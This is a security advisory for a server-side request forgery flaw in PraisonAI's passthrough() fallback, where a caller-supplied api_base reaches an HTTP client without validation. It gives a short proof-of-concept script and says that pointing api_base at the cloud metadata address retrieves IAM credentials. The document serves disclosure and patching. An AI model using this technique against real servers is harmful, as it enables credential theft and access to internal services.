High

PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 14:18

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

python
# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

python
# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.

Affected software

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PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.90 4.5.90

References

CVSS score 7.7/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness (CWE)
CWE-918
Platform
Python (PyPI)
Package
praisonai
Disclosed
01.04.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2924 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x6m9-gxvr-7jpv - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback this entry
    High · 7.7 CVE-2026-34936 < 4.5.90 4.5.90
  2. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  3. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  9. High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  10. High CVE-2026-47397 < 4.6.40 4.6.40
  11. Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
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